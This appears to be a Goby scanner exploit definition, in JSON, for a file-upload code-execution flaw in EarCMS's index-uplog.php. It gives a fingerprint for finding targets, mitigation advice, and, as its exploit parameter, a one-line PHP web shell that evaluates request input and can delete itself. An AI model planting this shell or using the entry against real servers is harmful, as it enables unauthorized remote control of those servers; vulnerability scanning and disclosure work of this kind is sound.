{
  "Name": "EarCMS index-uplog.php File Upload GetShell",
  "Description": "Ear CMS is a content management system. There is a Code Execution Vulnerability in the ear distribution foreground. By constructing malicious code, the attacker can obtain the permission of the server.",
  "Product": "earcms",
  "Homepage": "https://gobies.org/",
  "DisclosureDate": "2021-06-09",
  "Author": "gobysec@gmail.com",
  "GobyQuery": "body=\"icon-comma\"",
  "Level": "3",
  "Impact": "<p>As a result, hackers can upload malicious files to the server to obtain the server permissions.<br></p>",
  "Recommendation": "<p>1. The execution permission is disabled in the storage directory of the uploaded file.</p><p>2. File suffix white list.</p><p>3. Upgrade to the latest version.</p>",
  "References": [
    "https://zhuanlan.zhihu.com/p/81934322"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "name": "cmd",
      "type": "input",
      "value": "<?php @eval($_REQUEST[1]); if($_GET['act']=='del'){unlink(__FILE__);}?>"
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": null,
  "ExploitSteps": null,
  "Tags": [
    "File Upload"
  ],
  "CVEIDs": null,
  "CVSSScore": "0.0",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}